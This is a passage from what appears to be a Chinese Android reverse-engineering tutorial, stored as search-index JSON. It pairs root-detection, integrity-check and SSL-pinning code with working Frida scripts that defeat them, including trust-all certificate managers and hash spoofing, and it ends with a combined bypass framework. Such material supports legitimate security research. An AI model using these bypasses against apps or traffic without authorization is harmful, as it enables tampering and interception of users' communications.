java.io.BufferedReader reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); String line = reader.readLine(); return line != null \u0026\u0026 !line.isEmpty(); } catch (Exception e) { return false; } } public static boolean checkRootPackages(android.content.pm.PackageManager pm) { for (String pkg : ROOT_PACKAGES) { try { pm.getPackageInfo(pkg, 0); return true; } catch (android.content.pm.PackageManager.NameNotFoundException e) { // 未安装 } } return false; } public static boolean checkDangerousProps() { String[] dangerousProps = { \"ro.debuggable\", \"ro.secure\" }; try { for (String prop : dangerousProps) { String value = getSystemProperty(prop); if (\"ro.debuggable\".equals(prop) \u0026\u0026 \"1\".equals(value)) { return true; } if (\"ro.secure\".equals(prop) \u0026\u0026 \"0\".equals(value)) { return true; } } } catch (Exception e) { // 忽略 } return false; } private static String getSystemProperty(String name) throws Exception { Class\u003c?\u003e systemProperties = Class.forName(\"android.os.SystemProperties\"); java.lang.reflect.Method get = systemProperties.getMethod(\"get\", String.class); return (String) get.invoke(null, name); } } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:5:1","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#41-常见-root-文件检测"},{"categories":null,"collections":null,"content":"4.2 执行权限检测 检测是否可以获取 root 权限执行命令。 实现原理: // Java 实现 - Root 执行检测 public class RootExecutionDetector { public static boolean canExecuteAsRoot() { Process process = null; java.io.DataOutputStream os = null; try { process = Runtime.getRuntime().exec(\"su\"); os = new java.io.DataOutputStream(process.getOutputStream()); os.writeBytes(\"id\\n\"); os.writeBytes(\"exit\\n\"); os.flush(); int exitValue = process.waitFor(); // 如果成功执行，说明有 root 权限 return exitValue == 0; } catch (Exception e) { return false; } finally { try { if (os != null) os.close(); if (process != null) process.destroy(); } catch (Exception e) { // 忽略 } } } public static boolean checkRWSystem() { // 检查 /system 是否可写 try { Process process = Runtime.getRuntime().exec(\"mount\"); java.io.BufferedReader reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); String line; while ((line = reader.readLine()) != null) { if (line.contains(\"/system\") \u0026\u0026 line.contains(\"rw\")) { return true; // /system 可写，可能被 Root } } } catch (Exception e) { // 忽略 } return false; } } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:5:2","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#42-执行权限检测"},{"categories":null,"collections":null,"content":"4.3 Native 层 Root 检测 实现原理: // Native (C/C++) 实现 - Root 检测 #include \u003cstdio.h\u003e #include \u003cstdlib.h\u003e #include \u003cunistd.h\u003e #include \u003csys/stat.h\u003e #include \u003cdirent.h\u003e static const char* su_paths[] = { \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/su/bin/su\", \"/magisk/.core/bin/su\", \"/data/local/bin/su\", \"/data/local/xbin/su\" }; int check_su_binary_native() { int num_paths = sizeof(su_paths) / sizeof(su_paths[0]); for (int i = 0; i \u003c num_paths; i++) { struct stat st; if (stat(su_paths[i], \u0026st) == 0) { return 1; // su 存在 } } return 0; } // 检测 PATH 环境变量中的 su int check_su_in_path() { char* path = getenv(\"PATH\"); if (path == NULL) return 0; char* path_copy = strdup(path); char* token = strtok(path_copy, \":\"); while (token != NULL) { char su_path[256]; snprintf(su_path, sizeof(su_path), \"%s/su\", token); if (access(su_path, F_OK) == 0) { free(path_copy); return 1; } token = strtok(NULL, \":\"); } free(path_copy); return 0; } // 检测 SELinux 状态 int check_selinux_enforcing() { FILE* fp = fopen(\"/sys/fs/selinux/enforce\", \"r\"); if (fp == NULL) { return -1; // SELinux 不存在或无法访问 } int enforcing = 0; fscanf(fp, \"%d\", \u0026enforcing); fclose(fp); // 0 = Permissive (可能被 Root) // 1 = Enforcing (正常) return enforcing; } // 检测可疑进程 int check_suspicious_processes() { DIR* dir = opendir(\"/proc\"); if (dir == NULL) return 0; struct dirent* entry; while ((entry = readdir(dir)) != NULL) { if (entry-\u003ed_type != DT_DIR) continue; // 检查是否为数字目录 (进程目录) char* endptr; long pid = strtol(entry-\u003ed_name, \u0026endptr, 10); if (*endptr != '\\0') continue; // 读取进程名 char cmdline_path[256]; snprintf(cmdline_path, sizeof(cmdline_path), \"/proc/%ld/cmdline\", pid); FILE* fp = fopen(cmdline_path, \"r\"); if (fp == NULL) continue; char cmdline[256]; if (fgets(cmdline, sizeof(cmdline), fp) != NULL) { if (strstr(cmdline, \"daemonsu\") || strstr(cmdline, \"magiskd\") || strstr(cmdline, \"supersu\")) { fclose(fp); closedir(dir); return 1; } } fclose(fp); } closedir(dir); return 0; } 绕过策略 - Frida Hook: // Frida 脚本 - 综合 Root 检测绕过 Java.perform(function() { // 1. 隐藏 su 文件 var File = Java.use(\"java.io.File\"); var suPaths = [ \"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\", \"/su/bin/su\", \"/magisk\" ]; File.exists.implementation = function() { var path = this.getAbsolutePath(); for (var i = 0; i \u003c suPaths.length; i++) { if (path.indexOf(suPaths[i]) !== -1 || path.indexOf(\"supersu\") !== -1 || path.indexOf(\"magisk\") !== -1) { console.log(\"[*] Hiding root file: \" + path); return false; } } return this.exists(); }; // 2. 阻止执行 su 命令 var Runtime = Java.use(\"java.lang.Runtime\"); Runtime.exec.overload(\"[Ljava.lang.String;\").implementation = function(cmdArray) { var cmd = cmdArray.join(\" \"); if (cmd.indexOf(\"su\") !== -1 || cmd.indexOf(\"which\") !== -1) { console.log(\"[*] Blocking command: \" + cmd); throw Java.use(\"java.io.IOException\").$new(\"Cannot run program\"); } return this.exec(cmdArray); }; Runtime.exec.overload(\"java.lang.String\").implementation = function(cmd) { if (cmd.indexOf(\"su\") !== -1 || cmd.indexOf(\"which\") !== -1) { console.log(\"[*] Blocking command: \" + cmd); throw Java.use(\"java.io.IOException\").$new(\"Cannot run program\"); } return this.exec(cmd); }; // 3. 隐藏 Root 包 var PackageManager = Java.use(\"android.app.ApplicationPackageManager\"); var rootPackages = [ \"com.topjohnwu.magisk\", \"eu.chainfire.supersu\", \"com.koushikdutta.superuser\", \"com.noshufou.android.su\" ]; PackageManager.getPackageInfo.overload(\"java.lang.String\", \"int\").implementation = function(pkg, flags) { for (var i = 0; i \u003c rootPackages.length; i++) { if (pkg === rootPackages[i]) { console.log(\"[*] Hiding root package: \" + pkg); throw Java.use(\"android.content.pm.PackageManager$NameNotFoundException\").$new(pkg); } } return this.getPackageInfo(pkg, flags); }; }); // Native 层绕过 Interceptor.attach(Module.findExportByName(\"libc.so\", \"access\"), { onEnter: function(args) { var path = args[0].readCString(); if (path \u0026\u0026 (path.indexOf(\"su\") !== -1 || path.indexOf(\"magisk\") !== -1)) { console.log(\"[*] Blocking access check: \" + path); this.block = true;","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:5:3","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#43-native-层-root-检测"},{"categories":null,"collections":null,"content":"5. 完整性校验 (Integrity Checks) 💡 思路一句话: 识别校验对象（APK 签名/DEX 哈希/SO 代码段）→ hook 校验函数使其返回原始值 → 或在校验完成后再注入修改，避开时序检测。 目标: 检测 APK 或运行时代码是否被篡改。 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:6:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#5-完整性校验-integrity-checks"},{"categories":null,"collections":null,"content":"5.1 签名校验 实现原理: // Java 实现 - APK 签名校验 import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.content.pm.Signature; import java.security.MessageDigest; public class SignatureVerifier { // 原始签名的 SHA-256 哈希值 (需要预先计算) private static final String EXPECTED_SIGNATURE_HASH = \"a1b2c3d4e5f6...\"; // 替换为实际值 public static boolean verifySignature(Context context) { try { PackageInfo packageInfo = context.getPackageManager() .getPackageInfo(context.getPackageName(), PackageManager.GET_SIGNATURES); Signature[] signatures = packageInfo.signatures; if (signatures == null || signatures.length == 0) { return false; } // 计算签名哈希 MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); byte[] signatureBytes = signatures[0].toByteArray(); byte[] hash = md.digest(signatureBytes); // 转换为十六进制字符串 StringBuilder hexString = new StringBuilder(); for (byte b : hash) { String hex = Integer.toHexString(0xff \u0026 b); if (hex.length() == 1) hexString.append('0'); hexString.append(hex); } return EXPECTED_SIGNATURE_HASH.equals(hexString.toString()); } catch (Exception e) { return false; } } // Android P+ 使用 GET_SIGNING_CERTIFICATES public static boolean verifySignatureV2(Context context) { try { if (android.os.Build.VERSION.SDK_INT \u003e= android.os.Build.VERSION_CODES.P) { PackageInfo packageInfo = context.getPackageManager() .getPackageInfo(context.getPackageName(), PackageManager.GET_SIGNING_CERTIFICATES); android.content.pm.SigningInfo signingInfo = packageInfo.signingInfo; Signature[] signatures = signingInfo.getApkContentsSigners(); // 校验签名... } } catch (Exception e) { return false; } return true; } } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:6:1","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#51-签名校验"},{"categories":null,"collections":null,"content":"5.2 DEX 文件校验 实现原理: // Java 实现 - DEX 文件校验 import java.io.File; import java.io.FileInputStream; import java.security.MessageDigest; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; public class DexVerifier { // 预期的 classes.dex 哈希值 private static final String EXPECTED_DEX_HASH = \"...\"; public static boolean verifyDex(String apkPath) { try { ZipFile zipFile = new ZipFile(apkPath); ZipEntry dexEntry = zipFile.getEntry(\"classes.dex\"); if (dexEntry == null) { zipFile.close(); return false; } // 计算 DEX 文件哈希 MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); java.io.InputStream is = zipFile.getInputStream(dexEntry); byte[] buffer = new byte[8192]; int bytesRead; while ((bytesRead = is.read(buffer)) != -1) { md.update(buffer, 0, bytesRead); } is.close(); zipFile.close(); byte[] hash = md.digest(); // 转换并比较 StringBuilder hexString = new StringBuilder(); for (byte b : hash) { String hex = Integer.toHexString(0xff \u0026 b); if (hex.length() == 1) hexString.append('0'); hexString.append(hex); } return EXPECTED_DEX_HASH.equals(hexString.toString()); } catch (Exception e) { return false; } } } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:6:2","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#52-dex-文件校验"},{"categories":null,"collections":null,"content":"5.3 Native 代码校验 实现原理: // Native (C/C++) 实现 - SO 文件校验 #include \u003cstdio.h\u003e #include \u003cstdlib.h\u003e #include \u003cstring.h\u003e #include \u003cdlfcn.h\u003e #include \u003clink.h\u003e // 预期的关键函数校验和 static uint32_t expected_checksums[] = { 0x12345678, // function1 0x87654321, // function2 // ... }; uint32_t calculate_function_checksum(void* func_start, size_t size) { uint32_t checksum = 0; uint8_t* data = (uint8_t*)func_start; for (size_t i = 0; i \u003c size; i++) { checksum ^= data[i]; checksum = (checksum \u003c\u003c 1) | (checksum \u003e\u003e 31); } return checksum; } int verify_code_integrity() { // 获取当前 SO 的基地址 Dl_info info; if (dladdr((void*)verify_code_integrity, \u0026info) == 0) { return 0; } void* base = info.dli_fbase; // 验证关键函数 // 这里需要知道函数的偏移和大小 // 实际实现中这些值应该在编译时确定 return 1; } // 运行时检测内存页是否被修改 int check_memory_pages() { FILE* fp = fopen(\"/proc/self/maps\", \"r\"); if (fp == NULL) return 0; char line[512]; while (fgets(line, sizeof(line), fp)) { unsigned long start, end; char perms[5]; if (sscanf(line, \"%lx-%lx %4s\", \u0026start, \u0026end, perms) != 3) { continue; } // 检查代码段是否有写权限 (正常应该是 r-x) if (perms[0] == 'r' \u0026\u0026 perms[2] == 'x' \u0026\u0026 perms[1] == 'w') { // 代码段可写，可能被修改 fclose(fp); return 1; } } fclose(fp); return 0; } 绕过策略 - Frida Hook: // Frida 脚本 - 绕过完整性校验 Java.perform(function() { // 1. 绕过签名校验 var PackageManager = Java.use(\"android.app.ApplicationPackageManager\"); PackageManager.getPackageInfo.overload(\"java.lang.String\", \"int\").implementation = function(pkg, flags) { var info = this.getPackageInfo(pkg, flags); // 如果请求签名信息，返回原始签名 if ((flags \u0026 0x40) !== 0) { // GET_SIGNATURES = 0x40 // 这里可以构造假的签名对象 // 实际操作需要知道原始签名 console.log(\"[*] Signature verification intercepted\"); } return info; }; // 2. 绕过 DEX 校验 var MessageDigest = Java.use(\"java.security.MessageDigest\"); MessageDigest.digest.overload(\"[B\").implementation = function(input) { // 检查调用栈是否来自完整性检测 var stack = Java.use(\"java.lang.Thread\").currentThread().getStackTrace(); for (var i = 0; i \u003c stack.length; i++) { var className = stack[i].getClassName(); if (className.indexOf(\"Verifier\") !== -1 || className.indexOf(\"Integrity\") !== -1) { console.log(\"[*] Integrity check detected, returning expected hash\"); // 返回预期的哈希值 var expectedHash = Java.array('byte', [/* 预期哈希字节 */]); return expectedHash; } } return this.digest(input); }; }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:6:3","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#53-native-代码校验"},{"categories":null,"collections":null,"content":"6. SSL Pinning (证书绑定) 💡 思路一句话: 识别 Pinning 实现方式（TrustManager/OkHttp CertificatePinner/Native 层验证）→ hook 对应的证书校验方法使其信任所有证书 → 配合 mitmproxy 抓包验证。 目标: 防止中间人攻击，确保通信只与指定服务器建立。 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:7:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#6-ssl-pinning-证书绑定"},{"categories":null,"collections":null,"content":"6.1 证书固定实现 实现原理: // Java 实现 - SSL Pinning import java.security.cert.CertificateException; import java.security.cert.X509Certificate; import javax.net.ssl.*; import java.security.MessageDigest; public class SSLPinning { // 预期的证书公钥 SHA-256 哈希 private static final String[] EXPECTED_PINS = { \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=\" }; public static SSLSocketFactory getPinnedSSLSocketFactory() throws Exception { TrustManager[] trustManagers = new TrustManager[]{ new X509TrustManager() { @Override public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { // 不检查客户端证书 } @Override public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { if (chain == null || chain.length == 0) { throw new CertificateException(\"Empty certificate chain\"); } // 验证证书链中是否有匹配的 Pin for (X509Certificate cert : chain) { String pin = getPublicKeyPin(cert); for (String expectedPin : EXPECTED_PINS) { if (expectedPin.equals(pin)) { return; // 验证通过 } } } throw new CertificateException(\"Certificate pinning failed\"); } @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } private String getPublicKeyPin(X509Certificate cert) { try { byte[] publicKeyBytes = cert.getPublicKey().getEncoded(); MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); byte[] hash = md.digest(publicKeyBytes); return \"sha256/\" + android.util.Base64.encodeToString(hash, android.util.Base64.NO_WRAP); } catch (Exception e) { return \"\"; } } } }; SSLContext sslContext = SSLContext.getInstance(\"TLS\"); sslContext.init(null, trustManagers, new java.security.SecureRandom()); return sslContext.getSocketFactory(); } } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:7:1","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#61-证书固定实现"},{"categories":null,"collections":null,"content":"6.2 OkHttp Certificate Pinning 实现原理: // Java 实现 - OkHttp SSL Pinning import okhttp3.CertificatePinner; import okhttp3.OkHttpClient; public class OkHttpPinning { public static OkHttpClient createPinnedClient() { CertificatePinner certificatePinner = new CertificatePinner.Builder() .add(\"api.example.com\", \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\") .add(\"api.example.com\", \"sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=\") .add(\"*.example.com\", \"sha256/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC=\") .build(); return new OkHttpClient.Builder() .certificatePinner(certificatePinner) .build(); } } ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:7:2","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#62-okhttp-certificate-pinning"},{"categories":null,"collections":null,"content":"6.3 Native 层 SSL Pinning 实现原理: // Native (C/C++) 实现 - OpenSSL 证书验证 #include \u003copenssl/ssl.h\u003e #include \u003copenssl/x509.h\u003e #include \u003copenssl/evp.h\u003e // 预期的公钥哈希 static const unsigned char expected_pin[] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20 }; int verify_certificate_pin(X509* cert) { EVP_PKEY* pubkey = X509_get_pubkey(cert); if (pubkey == NULL) { return 0; } unsigned char* pubkey_der = NULL; int pubkey_len = i2d_PUBKEY(pubkey, \u0026pubkey_der); if (pubkey_len \u003c= 0) { EVP_PKEY_free(pubkey); return 0; } // 计算 SHA-256 哈希 unsigned char hash[32]; EVP_MD_CTX* ctx = EVP_MD_CTX_new(); EVP_DigestInit_ex(ctx, EVP_sha256(), NULL); EVP_DigestUpdate(ctx, pubkey_der, pubkey_len); EVP_DigestFinal_ex(ctx, hash, NULL); EVP_MD_CTX_free(ctx); OPENSSL_free(pubkey_der); EVP_PKEY_free(pubkey); // 比较哈希 return memcmp(hash, expected_pin, 32) == 0; } // 自定义 SSL 验证回调 int ssl_verify_callback(int preverify_ok, X509_STORE_CTX* ctx) { if (!preverify_ok) { return 0; // 基本验证失败 } // 获取证书 X509* cert = X509_STORE_CTX_get_current_cert(ctx); if (cert == NULL) { return 0; } // 验证证书固定 if (!verify_certificate_pin(cert)) { return 0; // Pin 验证失败 } return 1; } 绕过策略 - Frida Hook: // Frida 脚本 - 综合 SSL Pinning 绕过 Java.perform(function() { console.log(\"[*] Starting SSL Pinning bypass...\"); // 1. 绕过 TrustManager var X509TrustManager = Java.use(\"javax.net.ssl.X509TrustManager\"); var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); var TrustManager = Java.registerClass({ name: \"com.custom.TrustManager\", implements: [X509TrustManager], methods: { checkClientTrusted: function(chain, authType) {}, checkServerTrusted: function(chain, authType) {}, getAcceptedIssuers: function() { return []; } } }); // Hook SSLContext.init SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ).implementation = function(km, tm, sr) { console.log(\"[*] SSLContext.init intercepted\"); var trustManager = TrustManager.$new(); var trustManagers = Java.array(\"javax.net.ssl.TrustManager\", [trustManager]); this.init(km, trustManagers, sr); }; // 2. 绕过 OkHttp CertificatePinner try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload(\"java.lang.String\", \"java.util.List\").implementation = function(hostname, peerCertificates) { console.log(\"[*] OkHttp CertificatePinner.check bypassed for: \" + hostname); return; }; CertificatePinner.check$okhttp.overload(\"java.lang.String\", \"kotlin.jvm.functions.Function0\").implementation = function(hostname, peerCertificates) { console.log(\"[*] OkHttp CertificatePinner.check$okhttp bypassed for: \" + hostname); return; }; } catch (e) { console.log(\"[-] OkHttp not found or different version\"); } // 3. 绕过 Trustkit try { var TrustKit = Java.use(\"com.datatheorem.android.trustkit.pinning.OkHostnameVerifier\"); TrustKit.verify.overload(\"java.lang.String\", \"javax.net.ssl.SSLSession\").implementation = function(hostname, session) { console.log(\"[*] TrustKit bypassed for: \" + hostname); return true; }; } catch (e) { console.log(\"[-] TrustKit not found\"); } // 4. 绕过 WebView SSL 错误 try { var WebViewClient = Java.use(\"android.webkit.WebViewClient\"); WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { console.log(\"[*] WebView SSL error bypassed\"); handler.proceed(); }; } catch (e) { console.log(\"[-] WebViewClient hook failed\"); } // 5. 绕过 HostnameVerifier var HostnameVerifier = Java.use(\"javax.net.ssl.HostnameVerifier\"); var HttpsURLConnection = Java.use(\"javax.net.ssl.HttpsURLConnection\"); var AllowAllHostnameVerifier = Java.registerClass({ name: \"com.custom.AllowAllHostnameVerifier\", implements: [HostnameVerifier], methods: { verify: function(hostname, session) { return true; } } }); HttpsURLConnection.setDefaultHostnameVerifier(AllowAllHostnameVerifier.$new()); console.log(\"[+] SSL Pinning bypass complete\");","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:7:3","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#63-native-层-ssl-pinning"},{"categories":null,"collections":null,"content":"7. 综合绕过框架 💡 思路一句话: 将上述所有单项绕过整合为一个统一 Frida 脚本，按优先级依次加载——先绕过检测（反调试/反 Hook/Root），再处理网络层（SSL Pinning），确保分析环境稳定。 将上述所有绕过技术整合为一个综合脚本： // Frida 脚本 - 综合反分析绕过框架 (function() { \"use strict\"; console.log(\"===========================================\"); console.log(\"[*] Anti-Analysis Bypass Framework Started\"); console.log(\"===========================================\"); // 配置选项 var config = { bypassRoot: true, bypassFrida: true, bypassEmulator: true, bypassDebug: true, bypassSSL: true, bypassIntegrity: true, verbose: true }; function log(msg) { if (config.verbose) { console.log(\"[*] \" + msg); } } // ========== Root 检测绕过 ========== if (config.bypassRoot) { Java.perform(function() { log(\"Applying Root detection bypass...\"); var File = Java.use(\"java.io.File\"); var rootIndicators = [\"su\", \"magisk\", \"supersu\", \"busybox\", \"/sbin\"]; File.exists.implementation = function() { var path = this.getAbsolutePath().toLowerCase(); for (var i = 0; i \u003c rootIndicators.length; i++) { if (path.indexOf(rootIndicators[i]) !== -1) { log(\"Hiding root file: \" + path); return false; } } return this.exists(); }; }); } // ========== Frida 检测绕过 ========== if (config.bypassFrida) { // 端口绕过 Interceptor.attach(Module.findExportByName(\"libc.so\", \"connect\"), { onEnter: function(args) { var sockaddr = args[1]; var family = sockaddr.readU16(); if (family === 2) { var port = (sockaddr.add(2).readU8() \u003c\u003c 8) | sockaddr.add(3).readU8(); if (port \u003e= 27042 \u0026\u0026 port \u003c= 27045) { log(\"Blocking Frida port: \" + port); sockaddr.add(2).writeU8(0xFF); sockaddr.add(3).writeU8(0xFF); } } } }); // Maps 绕过 var keywords = [\"frida\", \"gadget\", \"gum-js\", \"linjector\"]; Interceptor.attach(Module.findExportByName(\"libc.so\", \"fgets\"), { onLeave: function(retval) { if (!retval.isNull()) { var line = retval.readCString(); if (line) { for (var i = 0; i \u003c keywords.length; i++) { if (line.toLowerCase().indexOf(keywords[i]) !== -1) { retval.writeUtf8String(\"\\n\"); log(\"Filtered maps line with: \" + keywords[i]); break; } } } } } }); } // ========== 调试检测绕过 ========== if (config.bypassDebug) { // TracerPid 绕过 Interceptor.attach(Module.findExportByName(\"libc.so\", \"fgets\"), { onLeave: function(retval) { if (!retval.isNull()) { var line = retval.readCString(); if (line \u0026\u0026 line.indexOf(\"TracerPid:\") !== -1) { retval.writeUtf8String(\"TracerPid:\\t0\\n\"); log(\"TracerPid spoofed to 0\"); } } } }); // ptrace 绕过 var ptrace = Module.findExportByName(null, \"ptrace\"); if (ptrace) { Interceptor.attach(ptrace, { onEnter: function(args) { this.request = args[0].toInt32(); }, onLeave: function(retval) { if (this.request === 0) { // PTRACE_TRACEME retval.replace(0); log(\"ptrace(PTRACE_TRACEME) bypassed\"); } } }); } } // ========== 模拟器检测绕过 ========== if (config.bypassEmulator) { Java.perform(function() { log(\"Applying Emulator detection bypass...\"); var Build = Java.use(\"android.os.Build\"); Build.FINGERPRINT.value = \"samsung/dreamltexx/dreamlte:9/PPR1.180610.011/G950FXXS5DSL1:user/release-keys\"; Build.MODEL.value = \"SM-G950F\"; Build.MANUFACTURER.value = \"samsung\"; Build.BRAND.value = \"samsung\"; Build.DEVICE.value = \"dreamlte\"; Build.PRODUCT.value = \"dreamltexx\"; Build.HARDWARE.value = \"samsungexynos8895\"; log(\"Build properties spoofed to Samsung S8\"); }); } // ========== SSL Pinning 绕过 ========== if (config.bypassSSL) { Java.perform(function() { log(\"Applying SSL Pinning bypass...\"); var X509TrustManager = Java.use(\"javax.net.ssl.X509TrustManager\"); var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); var EmptyTrustManager = Java.registerClass({ name: \"com.bypass.EmptyTrustManager\", implements: [X509TrustManager], methods: { checkClientTrusted: function(chain, authType) {}, checkServerTrusted: function(chain, authType) {}, getAcceptedIssuers: function() { return []; } } }); SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ).implementation = function(km, tm, sr) { log(\"SSLContext.init intercepted\"); var emptyTm = Java.array(\"javax.net.ssl.TrustManager\", [EmptyTru","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:8:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#7-综合绕过框架"},{"categories":null,"collections":null,"content":"总结 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:9:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#总结"},{"categories":null,"collections":null,"content":"反分析技术对照表 检测类型 检测方法 绕过策略 难度 反调试 TracerPid Hook fgets ⭐ ptrace Hook ptrace ⭐⭐ 时间检测 Hook clock_gettime ⭐⭐ 断点检测 临时恢复代码 ⭐⭐⭐ 反 Hook Frida 端口 自定义端口 ⭐ 内存特征 过滤 maps ⭐⭐ Inline Hook Stalker ⭐⭐⭐ Xposed 检测 隐藏特征 ⭐⭐ 反模拟器 系统属性 修改 Build ⭐ 特有文件 Hook exists ⭐ 传感器 模拟数据 ⭐⭐⭐ Root 检测 su 文件 Hook access/stat ⭐ Root 包 Hook PackageManager ⭐ Magisk MagiskHide ⭐⭐ 完整性 签名校验 Hook getPackageInfo ⭐⭐ DEX 校验 Hook digest ⭐⭐ SSL Pinning TrustManager 自定义 TrustManager ⭐⭐ OkHttp Hook CertificatePinner ⭐⭐ ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:9:1","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#反分析技术对照表"},{"categories":null,"collections":null,"content":"最佳实践 分层防御: 结合 Java 层和 Native 层检测 多点检测: 在多个位置进行检测，增加绕过难度 动态检测: 使用后台线程持续检测 混淆代码: 混淆检测代码本身，增加分析难度 服务端验证: 关键逻辑放在服务端，客户端仅做辅助检测 相关章节： R15: Frida 反调试绕过 R16: Xposed 反调试绕过 A07: Magisk 与 LSPosed 原理 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:9:2","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#最佳实践"},{"categories":null,"collections":null,"content":"常见问题 (FAQ) ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:0:0","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#常见问题-faq"},{"categories":null,"collections":null,"content":"概述 本章汇总了 Web 逆向工程中的常见问题和解答，帮助你快速解决常见困惑。 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:1:0","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#概述"},{"categories":null,"collections":null,"content":"入门问题 ","date":"2025-05-27","objectID":"/reverse_engineering/web/11-resources/faq/:2:0","tags":["Web","学习","签名验证","WebAssembly","代理池","资源"],"title":"常见问题 (FAQ)","uri":"/reverse_engineering/web/11-resources/faq/#入门问题"},{"categories":null,"collections":null,"content":"Q1: 学习 